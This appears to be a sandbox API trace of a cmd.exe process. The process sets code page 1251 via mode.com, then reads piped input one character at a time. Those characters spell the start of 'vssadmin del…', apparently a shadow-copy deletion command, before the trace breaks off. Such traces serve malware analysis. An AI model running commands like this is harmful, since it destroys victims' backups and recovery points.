[0181.037] RtlReAllocateHeap (Heap=0x265f3880000, Flags=0x0, Ptr=0x265f3898ee0, Size=0x1b8) returned 0x265f3898ee0 [0181.037] GetProcessHeap () returned 0x265f3880000 [0181.037] RtlSizeHeap (HeapHandle=0x265f3880000, Flags=0x0, MemoryPointer=0x265f3898ee0) returned 0x1b8 [0181.037] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0181.037] GetProcessHeap () returned 0x265f3880000 [0181.037] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xe8) returned 0x265f38990b0 [0181.038] GetProcessHeap () returned 0x265f3880000 [0181.038] RtlReAllocateHeap (Heap=0x265f3880000, Flags=0x0, Ptr=0x265f38990b0, Size=0x7e) returned 0x265f38990b0 [0181.038] GetProcessHeap () returned 0x265f3880000 [0181.038] RtlSizeHeap (HeapHandle=0x265f3880000, Flags=0x0, MemoryPointer=0x265f38990b0) returned 0x7e [0181.039] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0181.039] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xa12bbcead0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa12bbcead0) returned 0x265f3899140 [0181.039] GetProcessHeap () returned 0x265f3880000 [0181.039] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x0, Size=0x28) returned 0x265f3886540 [0181.039] FindClose (in: hFindFile=0x265f3899140 | out: hFindFile=0x265f3899140) returned 1 [0181.040] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xa12bbcead0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa12bbcead0) returned 0x265f3899140 [0181.040] GetProcessHeap () returned 0x265f3880000 [0181.040] RtlReAllocateHeap (Heap=0x265f3880000, Flags=0x0, Ptr=0x265f3886540, Size=0x8) returned 0x265f3886540 [0181.040] FindClose (in: hFindFile=0x265f3899140 | out: hFindFile=0x265f3899140) returned 1 [0181.040] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0181.040] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0181.040] ??_V@YAXPEAX@Z () returned 0x1 [0181.040] GetConsoleTitleW (in: lpConsoleTitle=0xa12bbcf050, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0181.329] GetProcessHeap () returned 0x265f3880000 [0181.329] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x21c) returned 0x265f3899140 [0181.329] GetConsoleTitleW (in: lpConsoleTitle=0x265f3899150, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0181.582] GetProcessHeap () returned 0x265f3880000 [0181.582] RtlReAllocateHeap (Heap=0x265f3880000, Flags=0x0, Ptr=0x265f3899140, Size=0x8c) returned 0x265f3899140 [0181.582] GetProcessHeap () returned 0x265f3880000 [0181.582] RtlSizeHeap (HeapHandle=0x265f3880000, Flags=0x0, MemoryPointer=0x265f3899140) returned 0x8c [0181.582] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0181.801] GetProcessHeap () returned 0x265f3880000 [0181.803] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3899140) returned 1 [0181.803] InitializeProcThreadAttributeList (in: lpAttributeList=0xa12bbcef70, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xa12bbcee60 | out: lpAttributeList=0xa12bbcef70, lpSize=0xa12bbcee60) returned 1 [0181.803] UpdateProcThreadAttribute (in: lpAttributeList=0xa12bbcef70, dwFlags=0x0, Attribute=0x60001, lpValue=0xa12bbcee4c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xa12bbcef70, lpPreviousValue=0x0) returned 1 [0181.803] GetStartupInfoW (in: lpStartupInfo=0xa12bbcef00 | out: lpStartupInfo=0xa12bbcef00*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0181.803] GetProcessHeap () returned 0x265f3880000 [0181.803] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x20) returned 0x265f3887610 [0181.803] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0181.803] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0181.803] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0181.803] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0181.803] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0181.803] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0181.803] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0181.803] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0181.804] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0181.804] GetProcessHeap () returned 0x265f3880000 [0181.804] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3887610) returned 1 [0181.804] GetProcessHeap () returned 0x265f3880000 [0181.804] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x12) returned 0x265f3887610 [0181.804] _get_osfhandle (_FileHandle=1) returned 0x254 [0181.804] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0181.805] _get_osfhandle (_FileHandle=0) returned 0x248 [0181.805] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0181.805] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xa12bbcee90*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xa12bbcee68 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0xa12bbcee68*(hProcess=0x98, hThread=0x94, dwProcessId=0xe9c, dwThreadId=0xea0)) returned 1 [0181.821] CloseHandle (hObject=0x94) returned 1 [0181.821] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0181.821] GetProcessHeap () returned 0x265f3880000 [0181.821] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3886570) returned 1 [0181.821] GetEnvironmentStringsW () returned 0x265f3886570* [0181.821] GetProcessHeap () returned 0x265f3880000 [0181.821] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xafe) returned 0x265f3899540 [0181.821] FreeEnvironmentStringsA (penv="=") returned 1 [0181.822] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffdc0860000 [0181.822] GetProcAddress (hModule=0x7ffdc0860000, lpProcName="NtQueryInformationProcess") returned 0x7ffdc09056b0 [0181.822] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xa12bbce368, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xa12bbce368, ReturnLength=0x0) returned 0x0 [0181.822] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x93e117a000, lpBuffer=0xa12bbce3a0, nSize=0x7a0, lpNumberOfBytesRead=0xa12bbce360 | out: lpBuffer=0xa12bbce3a0*, lpNumberOfBytesRead=0xa12bbce360*=0x7a0) returned 1 [0181.823] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0188.423] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xa12bbcede8 | out: lpExitCode=0xa12bbcede8*=0x0) returned 1 [0188.423] CloseHandle (hObject=0x98) returned 1 [0188.423] _vsnwprintf (in: _Buffer=0xa12bbcefb8, _BufferCount=0x13, _Format="%08X", _ArgList=0xa12bbcedf8 | out: _Buffer="00000000") returned 8 [0188.423] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0188.423] GetProcessHeap () returned 0x265f3880000 [0188.423] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3899540) returned 1 [0188.423] GetEnvironmentStringsW () returned 0x265f389ab80* [0188.423] GetProcessHeap () returned 0x265f3880000 [0188.423] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xb24) returned 0x265f389b6b0 [0188.424] FreeEnvironmentStringsA (penv="=") returned 1 [0188.424] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0188.424] GetProcessHeap () returned 0x265f3880000 [0188.424] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f389b6b0) returned 1 [0188.424] GetEnvironmentStringsW () returned 0x265f389ab80* [0188.424] GetProcessHeap () returned 0x265f3880000 [0188.425] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xb24) returned 0x265f389b6b0 [0188.425] FreeEnvironmentStringsA (penv="=") returned 1 [0188.425] GetProcessHeap () returned 0x265f3880000 [0188.425] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3887610) returned 1 [0188.425] DeleteProcThreadAttributeList (in: lpAttributeList=0xa12bbcef70 | out: lpAttributeList=0xa12bbcef70) [0188.425] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0188.614] ??_V@YAXPEAX@Z () returned 0x1 [0188.614] _get_osfhandle (_FileHandle=1) returned 0x254 [0188.614] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0188.614] _get_osfhandle (_FileHandle=1) returned 0x254 [0188.614] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff65ec4fc08 | out: lpMode=0x7ff65ec4fc08) returned 0 [0188.614] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.614] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff65ec4fc0c | out: lpMode=0x7ff65ec4fc0c) returned 0 [0188.614] GetConsoleOutputCP () returned 0x4e3 [0188.896] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff65ec4fbb0 | out: lpCPInfo=0x7ff65ec4fbb0) returned 1 [0188.896] SetThreadUILanguage (LangId=0x0) returned 0x409 [0188.979] GetProcessHeap () returned 0x265f3880000 [0188.979] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f38990b0) returned 1 [0188.979] GetProcessHeap () returned 0x265f3880000 [0188.979] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3898ee0) returned 1 [0188.979] GetProcessHeap () returned 0x265f3880000 [0188.979] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f38878d0) returned 1 [0188.979] GetProcessHeap () returned 0x265f3880000 [0188.979] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3898e80) returned 1 [0188.979] GetProcessHeap () returned 0x265f3880000 [0188.979] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3887880) returned 1 [0188.979] GetProcessHeap () returned 0x265f3880000 [0188.979] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3888e90) returned 1 [0188.979] GetProcessHeap () returned 0x265f3880000 [0188.979] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3886500) returned 1 [0188.979] GetProcessHeap () returned 0x265f3880000 [0188.979] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3886330) returned 1 [0188.979] GetProcessHeap () returned 0x265f3880000 [0188.979] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f38877c0) returned 1 [0188.979] _vsnwprintf (in: _Buffer=0x7ff65ec57f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa12bbcf398 | out: _Buffer="\r\n") returned 2 [0188.979] _get_osfhandle (_FileHandle=1) returned 0x254 [0188.979] GetFileType (hFile=0x254) returned 0x3 [0188.979] _get_osfhandle (_FileHandle=1) returned 0x254 [0188.979] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0188.979] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa12bbcf368, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf368*=0x2, lpOverlapped=0x0) returned 1 [0188.980] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0188.980] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x265f3a50080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0188.980] _vsnwprintf (in: _Buffer=0x265f3a60060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xa12bbcf3a8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0188.980] _vsnwprintf (in: _Buffer=0x265f3a60086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xa12bbcf3a8 | out: _Buffer=">") returned 1 [0188.980] _get_osfhandle (_FileHandle=1) returned 0x254 [0188.980] GetFileType (hFile=0x254) returned 0x3 [0188.980] _get_osfhandle (_FileHandle=1) returned 0x254 [0188.980] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0188.980] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xa12bbcf398, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf398*=0x14, lpOverlapped=0x0) returned 1 [0188.980] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.980] GetFileType (hFile=0x248) returned 0x3 [0188.980] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.980] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.980] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.980] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0188.980] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.980] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.981] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.981] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0188.981] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.981] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.981] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.981] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0188.981] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.981] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.981] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.981] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0188.981] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.981] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.981] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.981] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0188.981] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.981] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.981] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.981] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0188.981] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.981] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.981] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.981] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0188.981] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.981] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.981] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.981] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0188.981] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0188.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0188.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0188.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0188.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c48, cchWideChar=1 | out: 